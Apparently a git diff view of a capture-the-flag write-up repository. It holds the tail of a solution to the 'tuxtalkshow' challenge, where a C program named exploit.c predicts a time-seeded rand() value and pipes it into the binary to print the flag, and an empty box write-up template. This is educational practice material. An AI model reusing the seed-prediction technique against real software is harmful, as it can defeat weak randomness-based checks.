|
||||
int main()
|
||||
{
|
||||
int array[6];
|
||||
int i, output;
|
||||
uint32_t randVal, ans;
|
||||
|
||||
srand(time(0));
|
||||
|
||||
|
||||
i = 0;
|
||||
|
||||
array[0] = 0x79;
|
||||
array[1] = 0x12c97f;
|
||||
array[2] = 0x135f0f8;
|
||||
array[3] = 0x74acbc6;
|
||||
array[4] = 0x56c614e;
|
||||
array[5] = 0xffffffe2;
|
||||
|
||||
while (i < 6)
|
||||
{
|
||||
randVal = rand();
|
||||
array[i] = array[i] - ((randVal % 10) - 1);
|
||||
i += 1;
|
||||
}
|
||||
|
||||
i = 0;
|
||||
output = 0;
|
||||
|
||||
while (i < 6)
|
||||
{
|
||||
output = output + array[i];
|
||||
i += 1;
|
||||
}
|
||||
|
||||
|
||||
printf("%d\n", output);
|
||||
}
|
||||
|
||||
|
||||
Then we compile our C code:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ gcc exploit.c -o exploit
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./exploit
|
||||
|
||||
|
||||
|
||||
let's try it on the binary file:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./exploit
|
||||
234874834
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./exploit
|
||||
234874839
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./exploit
|
||||
234874828
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/3/tux]
|
||||
→ ./exploit | ./tuxtalkshow
|
||||
Welcome to Tux Talk Show 2019!!!
|
||||
Enter your lucky number: flag{g0tt3m_boyz}
|
||||
|
||||
|
||||
|
||||
And that's it ! We have been able to print out the flag.
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
145
Easy/0.md
Normal file
|
@ -0,0 +1,145 @@
|
|||
# BOXNAME Writeup
|
||||
|
||||

|
||||
|
||||
## Introduction :
|
||||
|
||||
Boxname is an easy box released back in MONTH YEAR.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## **Conclusion**
|
||||
|
||||
Here we can see the progress graph :
|
||||
|
||||

|
||||
|